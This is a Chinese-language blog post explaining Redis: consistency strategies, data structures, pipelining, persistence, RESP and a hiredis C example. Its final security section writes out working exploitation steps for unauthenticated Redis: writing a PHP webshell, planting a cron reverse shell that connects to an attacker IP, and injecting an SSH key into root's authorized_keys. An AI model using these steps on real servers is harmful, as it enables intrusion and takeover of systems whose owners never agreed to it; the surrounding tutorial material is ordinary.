缓存 redis

Redis/缓存系统
58
0
0
2024-10-01
标签   Redis

redis 简述

redis 基本是后端开发的标配了,特别是对速度要求较高的业务,那么 redis 基本是标配了。

在业务中,redis 在手机验证码,一些热点 key 方面有其巨大的优势。

数据一致性问题

使用缓存必然会遭遇数据一致性问题,所谓数据一致性即在数据在更改过程中数据库和缓存会存在一段时间数据不一致。

针对这个问题,我们可以针对性的使用相应的方案来解决这个问题。需要注意的是,因为缓存和数据库更改不同步,他们之间通信需要时间,而这段时间必然导致数据不一致,这个在不引入第三方的外力是无法解决的。

而且如果考虑到多线程的问题,这个问题就更复杂了。

不过我们需要探讨相关问题。

1、先更新数据库,然后更新 redis

这个策略在多线程可能会因为更新快慢产生问题,具体问题看下图:

先更新数据库

在数据库中更新数据因为多线程更新顺序不一致导致数据库缓存有差别。

2、先更新缓存然后更新数据库

先更新缓存然后更新数据库

这种策略一般不用,因为数据库的数据一般需要数据库持久化,需要将其保持数据顺序。

3、先更新数据库然后删除缓存

如果没有第三方组件介入,一般采用这样的更新策略,只不过如果在数据库更新之前读取数据,在缓存删除之后更新缓存也会产生数据不一致。

更新数据库后删除缓存

综上,单纯依靠更新策略都会有产生数据不一致的可能性。如果想要对本地保证强一致性,那么就需要加入分布式锁或者使用一些负载均衡算法和 singleflight ,分布式锁比较简单,就是更新时候将缓存和数据库数据锁住。

单机上也可以使用 singleflight 那么,单机上每次都有一个线程去更新 key 。

使用负载均衡和 singleflight 结合也可以完成,我们知道 singleflight 每个单机就会有一个线程去更新,那么多个机器就有多个线程,负载均衡即使在众多机器中选出一个机器,两者结合就是每次都有一个线程更新 key。

数据结构

redis 的数据结构基本是很多面试必须问的。

1、string 字符串

set key stringval // 设置key 为某个字符串
get key //获取key

2、hash字典

hmset key field1 value1 field2 value2...//设置key 和多个字段
hmget key field1 field2 //获取key和多个字段

3、list

lpush key value1 value2...//数值插入
lpop key //数值取出

4、set 集合

SADD key member1 [member2]//向集合添加一个或多个成员
SISMEMBER key member //判断 member 元素是否是集合 key 的成员

5、zset 有序集合

ZADD key score1 member1 [score2 member2]//向有序集合添加一个或多个成员,或者更新已存在成员的分数

ZRANGE key start stop [WITHSCORES]//通过索引区间返回有序集合成指定区间内的成员

这里只是简单列举几个使用方法,具体的其他方法等到使用的时候具体操作即可。

pipeline

这个其实是很多网络协议都有的一个内容,当客户端发来一个请求的时候发给服务器,服务器其实没必要直接处理,可以等一段时间攒够一定数量请求后在发回去。如果你会wireshark 抓包会发现很多 http 回答就是这样。

而 redis 的 pipeline 就是这样,客户端收到应用程序请求之后其实没必要直接发给服务端,等攒到一定数量请求再一口气发给服务端。这样可以减少网络 I/O 以及网络传输时间 RTT。

持久化和过期处理

redis 的持久化的策略有两种 RDB 和 AOF

从宏观角度,RDB 是定期对 redis 中的命令进行写入文件,然后进行持久化。更新时间由配置文件中的 save 命令决定。但是由于设置更新单位基本都是分钟秒级别,时间间隔太长,容易产生数据丢失问题。

AOF 则是对 RDB 的一种补充,其可以每条指令刷新一次,也可以每秒钟刷新一次,但是因为每次持久化都是对系统性能消耗,因此需要根据具体业务情况进行取舍。

RDB

RDB 可以理解为是一个快照,直接把 Redis 内存中的数据以快照的形式保存下来。因为这个过程很消耗资源,所以分成 SAVE 和 BG SAVE 两种。

BG SAVE 利用了操作系统 COW(写时拷贝) 机制。

写时拷贝机制

Linux 系统通过 fork 创建一个子进程或者线程,但是新 fork 出来的进程和主进程的内存数据共享,只有当主进程或者子进程需要写入更改数据,会触发操作系统的缺页中断,然后触发操作系统相关的函数,将共享数据拷贝一份给子进程。

AOF

AOF 是将 Redis 的命令逐条保留下来,而后通过重放这些命令来复原。我们可以通过重写 AOF 来减少资源消耗。

其中重写很多都会说到合并指令,但是实际上因为命令源源不断,他其实跟 RDB 处理思路类似,通过子线程生成一个文件,然后将后来的命令添加到缓冲队列中,等待主进程将所有命令写入一个新的 AOF 替换旧的。

缓存穿透缓存击穿和缓存雪崩

这三个方面内容基本是很多都讲烂的东西,这里也就简单提及一下。

缓存穿透就是客户端发来大量没有的 key ,这时 redis 也没有缓存,然后对数据库造成大量的请求压力。这种解决方案就是判断出这种情况对 key 进行缓存,同时记录 key 信息,如果发现多次后直接拒绝。

缓存击穿就是 redis 挂机了,导致数据库产生压力,这种没什么好方法,分布式也好主从也好,看具体情况解决。

缓存雪崩就是某几个热 key 过期时间到了,集体失效,倒是数据库压力陡增,这种一种可以在一段时间内将 key 设置为不过期,或者过期时间错落分布。

传输协议

Redis 设计了一种叫做 RESP 的协议在客户端和服务端进行沟通。

篇幅有限不能只简单介绍。

redis 连接

当回复单行自从串时候,其返回数据包中会有 '+' 其实际回复内容为:

"+OK\r\n"

而错误信息会返回 ‘-’ 开头的字符

错误信息

"-Error message\r\n"

当返回整型数据会加 ’:‘

返回数字

":100\r\n"

返回多行字符串会加上‘$'

返回多行字符串

"$6\r\nvalue1\r\n$6\r\nvalue2\r\n" //前边 6表示字符个数

返回数组的话会加 ‘*’

"*0\r\n"

此处数组就不做演示,总之所有命令就是上述几个内容组合产生,更详细的自己去了解即可。

代码实现

代码方面较为简单,命令上可以自己实现,这里只是做一个简单示范。

同样相关头文件需要自己编译引入编译器。

#include <hiredis/hiredis.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {

    // 连接Redis服务
    redisContext *context = redisConnect("127.0.0.1", 6379);
    if (context == NULL || context->err) {
        if (context) {
            printf("%s\n", context->errstr);
        } else {
            printf("redisConnect error\n");
        }
        exit(EXIT_FAILURE);
    }
    printf("-----------------connect success--------------------\n");

    redisReply *reply = redisCommand(context, "auth pass"); //密码认证
    printf("type : %d\n", reply->type);
    if (reply->type == REDIS_REPLY_STATUS) {
        /*SET str Hello World*/
        printf("auth ok\n");
    }
    freeReplyObject(reply);

    // Set Key Value
    char *key = "str";
    char *val = "Hello World";
    /*SET key value */
    reply = redisCommand(context, "SET %s %s", key, val);  //使用命令,需要传入连接和命令
    printf("type : %d\n", reply->type);
    if (reply->type == REDIS_REPLY_STATUS) {
        printf("SET %s %s\n", key, val);
    }
    freeReplyObject(reply);

    // GET Key
    reply = redisCommand(context, "GET %s", key);
    if (reply->type == REDIS_REPLY_STRING) {
        printf("GET str %s\n", reply->str);
        printf("GET len %ld\n", reply->len);
    }
    freeReplyObject(reply);

    redisFree(context);  //释放
    return EXIT_SUCCESS;
}

上述用两个命令做了简单示范,其他命令也殊途同归。最后讲一下关于 redis 网络安全的问题。

redis 安全

redis 最常见的漏洞就是未授权访问,简单来说就是没有设置密码,如果经常在本机上搭建服务,那么很多人就会不设置密码,但是如果 redis 暴露在公网上,那么这个不设置密码可就有很多问题,这意味着任何一个客户端都可以连接。

这里简单说一下相关漏洞利用的方式:

1、 如果 redis 和网站源码在同一台服务器上,那么就可以在相应的网站目录下写下webshell 。

config set dir /dir            //设置WEB写入目录
config set dbfilename 1.php    //设置写入文件名,这里以 php 网站举例子
set test "<?php phpinfo();?>"  //设置写入文件代码
bgsave                         //保存执行
save                           //保存执行

2、写反弹shell,就是在 Linux 定时任务的 shell 文件,当然这要求安全模式关闭,就是要保证有写入权限。

config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/your_ip/your_port 0>&1\n\n\n"
config set dbfilename x
save

这样你监听自己服务器端口,然后就可以得到相应 shell 窗口。

3、公钥写入,这也容易,就是在 Linux服务器上写入你的公钥。

ssh-keygen -t rsa //自己生成一对密钥
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt //公钥写入 key.txt
cat key.txt | redis-cli -h target_ip -x set xxx //将公钥写入一个文件
config set dir /root/.ssh/
config set dbfilename authorized_keys //重命名
save
cd /root/.ssh/
ssh -i id_rsa root@target_ip

关于 redis 能聊的很多,但是对于很多人来说能用就行或者说能通过面试就行。